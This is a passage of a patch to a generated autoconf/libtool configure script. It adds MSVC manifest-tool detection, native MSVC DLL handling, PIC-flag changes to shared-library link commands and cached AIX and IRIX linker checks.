++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
++
++
+
+
+
+@@ -7575,6 +7950,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -8138,6 +8630,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8690,8 +9184,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8857,6 +9349,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8919,7 +9417,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8976,13 +9474,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -9043,6 +9545,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -9393,7 +9900,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -9492,12 +10000,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -9511,8 +10019,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -9530,8 +10038,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9577,8 +10085,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9708,7 +10216,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9721,22 +10235,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9748,7 +10269,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9761,22 +10288,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9821,20 +10355,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9895,7 +10472,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9903,7 +10480,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9919,7 +10496,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9943,10 +10520,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -10025,23 +10602,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -10126,7 +10716,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -10145,9 +10735,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -10723,8 +11313,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -10757,13 +11348,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
